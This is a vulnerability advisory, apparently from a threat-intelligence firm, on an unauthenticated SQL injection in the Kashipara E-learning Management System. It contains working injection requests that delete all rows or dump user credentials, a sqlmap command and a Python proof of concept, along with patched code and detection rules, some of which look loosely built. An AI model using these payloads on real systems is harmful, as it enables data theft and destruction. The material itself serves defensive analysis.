CVE-2024-54932

Executive Summary

CVE-2024-54932 is a critical unauthenticated SQL Injection vulnerability in Kashipara E-learning Management System v1.0, specifically within the /admin/delete_department.php endpoint. The vulnerability allows an attacker to inject arbitrary SQL commands via the id parameter without requiring authentication. Successful exploitation can lead to full database compromise, including extraction of user credentials, session data, and potentially remote code execution if the database user has sufficient privileges. The vendor has not released a patch, and no official advisory exists. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the vulnerability is trivial to exploit and has public proof-of-concept code.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Data can be modified or deleted.
• Availability (A): High (H) – Database can be disrupted or destroyed.

CVSS Score: 9.8 (Critical)
Threat Level: Critical – Immediate remediation required.

Deep Dive & Mechanics

The vulnerability resides in /admin/delete_department.php. The application directly concatenates user-supplied input from the id GET parameter into an SQL DELETE query without sanitization or parameterized queries. The vulnerable code pattern is:

$id = $_GET['id'];
$sql = "DELETE FROM departments WHERE id = $id";
$result = mysqli_query($conn, $sql);

An attacker can inject SQL by appending a single quote or other SQL metacharacters to the id parameter. For example:

GET /admin/delete_department.php?id=1 OR 1=1

This would delete all departments. More sophisticated payloads can extract data using UNION-based or blind SQL injection techniques.

The database backend is MySQL (assumed from mysqli functions). The application runs on a typical LAMP stack. No authentication is required to access the admin panel endpoints in this version, making the attack surface even larger.

Vulnerable vs. Patched Code

Vulnerable Code (Kashipara E-learning Management System v1.0):

<?php
include 'db_connection.php';
$id = $_GET['id'];
$sql = "DELETE FROM departments WHERE id = $id";
if (mysqli_query($conn, $sql)) {
    echo "Department deleted successfully.";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (Recommended Fix):

<?php
include 'db_connection.php';
$id = intval($_GET['id']); // Cast to integer
$sql = "DELETE FROM departments WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
if (mysqli_stmt_affected_rows($stmt) > 0) {
    echo "Department deleted successfully.";
} else {
    echo "Error: Department not found.";
}
mysqli_stmt_close($stmt);
?>

The fix uses parameterized queries (prepared statements) and input validation via intval() to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Kashipara E-learning Management System v1.0.
• Network access to the /admin/delete_department.php endpoint.

Exploit Steps:

1. Basic Injection Test:

   GET /admin/delete_department.php?id=1'
   

   If an SQL error is returned, the endpoint is vulnerable.

2. Extract Database Version:

   GET /admin/delete_department.php?id=1 UNION SELECT 1,@@version,3,4
   

3. Dump User Credentials (assuming table users with columns username, password):

   GET /admin/delete_department.php?id=1 UNION SELECT 1,username,password,4 FROM users
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/admin/delete_department.php?id=1" --batch --dbs
   

Proof-of-Concept (PoC) Code (Python):

import requests

target = "http://target.com/admin/delete_department.php"
payload = {"id": "1 UNION SELECT 1,2,3,4"}
response = requests.get(target, params=payload)
print(response.text)

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP GET requests to /admin/delete_department.php with suspicious id parameters containing SQL keywords (UNION, SELECT, OR, AND, etc.).
• Alert on SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

Hardening:

• Apply the patched code (parameterized queries).
• Restrict access to /admin/ directory via .htaccess or firewall rules.
• Implement Web Application Firewall (WAF) rules to block SQL injection patterns.
• Disable detailed error messages in production (display_errors = Off in php.ini).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /admin/delete_department.php with id parameter containing SQL metacharacters (', ", UNION, SELECT, OR, AND, --, #).
  • Outbound database connections from the web server to unexpected IPs (data exfiltration).
• File IOCs:
  • Unexpected files in /tmp/ or web root (e.g., .sql dumps, webshells).
• Log IOCs:
  • Web server logs showing repeated requests to /admin/delete_department.php with varying id values.
  • Database logs showing anomalous queries (e.g., DELETE FROM departments WHERE id = 1 OR 1=1).

Detection Engineering

YARA Rule

rule Detect_SQLi_Payload_CVE_2024_54932 {
    meta:
        description = "Detects SQL injection payloads targeting CVE-2024-54932 in Kashipara E-learning Management System"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54932"
    strings:
        $s1 = "id=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
        $s6 = "--" nocase
        $s7 = "#" nocase
    condition:
        all of ($s1, $s2, $s3) or all of ($s1, $s4, $s5) or all of ($s1, $s6, $s7)
}

Sigma Rule

title: SQL Injection Attempt Against Kashipara E-learning Management System
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting /admin/delete_department.php
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin/delete_department.php'
        cs-uri-query|contains:
            - 'id='
            - 'UNION'
            - 'SELECT'
            - 'OR'
            - 'AND'
            - '--'
            - '#'
    condition: selection
falsepositives:
    - Legitimate use of the word "OR" in a department name (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-54932 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/admin/delete_department.php"; http_uri; content:"id="; http_uri; pcre:"/(UNION|SELECT|OR|AND|--|#)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the vulnerable application from the internet if possible.
2. Apply the patched code (parameterized queries) to /admin/delete_department.php.
3. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
4. Review all other PHP files in the application for similar vulnerabilities.

Long-Term Actions:

• Replace the application with a maintained, secure alternative.
• Conduct a full security audit of the codebase.
• Implement secure coding practices (input validation, prepared statements, least privilege).

Vendor Status: Kashipara has not responded to disclosure attempts. No official patch is available.

Valters IT – DevSecOps & Cyber Threat Intelligence